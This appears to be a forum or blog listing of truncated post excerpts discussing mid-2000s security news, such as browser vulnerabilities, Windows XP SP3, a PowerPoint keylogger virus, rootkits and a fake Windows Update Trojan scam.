QUOTE Many people are switching from Internet Explorer to alternative browsers such as Firefox
and Safari. Though that might make them feel more secure, the shift has also opened new doors for
bad guys. Case in point: We have no IE bugs to report this month, but both Firefox and Safari have
been hit hard. So forget the idea that just because you've switched to a new browser,
you're magically safer. You may be for a time, but to stay safe with any software, you need to
keep current with fixes. Firefox Holes In a somewhat dubious recognition of Firefox's...

I am one guy who has always beleaved that when MS made XPsp2 they raised the standards for them
selves. the package was just too good for their own good. When Sp3 came out I didnt hesitate to
download it and what did I get? The first thing that i noticed was I could no longer use remote
desktop. i'm sure this has since been rectified in RC2 but it realy turned me off. I never
realised any gains in the SP. Still on the subject I found Adrian Kingsley-Hughes' blog titled
' XP SP3 performance gains - Nothing to write home about ' interesting He wrote: QU...

After reading the article it is obvious what the update was for besides adding in new services and
updates, however, it took all of what, two weeks to hack the IPhone? So I doubt it will that long
to figure out what apple change to disable the hack phones. I found this particular quote amusing,
"...company officials insisted they were "not proactively" trying to make hacked iPhones useless."
Heck I would if I knew I would be losing millions of dollars a month on a phone that that was hacked
and used by another phone provider, but like I said earlier it won't take ...

SOURCE Well it seems that Microsoft found a huge hole in MSN Messenger that was bad enough that
they want people to upgrade to the current Messenger which is Live 8.1 or something like that. As
for details on the problem they just said the following, "..which let hackers embed malicious code
in Web chat invitations to users." and that they found this problem in "6.2, 7.0 and 7.5, as well as
Windows Live Messenger 8.0." Although it was interesting to know that people were actually
complaining about Live Messenger being a resource hog, well the last time I check msn w...

Since the beginning of 2007 a lot of the security reports I have been reading have mentioning about
hackers using rootkits to get into people's computers. Google defines a rootkit as a set of
programs used to hack into a system and gain administrative-level access. Once a program has gained
access, it can be used to monitor traffic and keystrokes; create a backdoor into the system for the
hacker's use; alter log files; attack other machines on the network; and alter existing system
tools to circumvent detection. Rootkits are an extreme form of System Modificatio...

QUOTE Microsoft has alerted users of a virus that enters PCs through the PowerPoint program. The
virus attaches itself to a contaminated presentation that when accessed installs a keylogging
software on a computer. Users are being warned to take precautions because Microsoft patch that
guards against the security loophole will still be tentatively released on August 8. Reports say
the virus has infected relatively few people with the poisoned presentation. Malicious hackers used
the bug found in PowerPoint 2000, 2002 and 2003. Security experts report that the vir...

Stepping up its fight against computer threats at the risk of alienating security businesses,

browser. At the same time, he showed off new software for businesses to combat security threats.
The moves are part of a wide-ranging effort by the world's largest software maker to impro...

QUOTE A new scam by hackers has some people believing they are receiving an e-mail about a
critical update to Windows when in actuality they are installing a Trojan horse, Sophos said on
Friday. The e-mail directs victims to a fake version of the Windows Update site, where there are
links to download the malicious "patches." "The email uses the Microsoft branding and style so to
the casual observer it appears to be legitimate," Gregg Mastoras, Senior Security Analyst at Sophos,
told BetaNews. If users download the "patches," they are actually installing the Troj/DS...
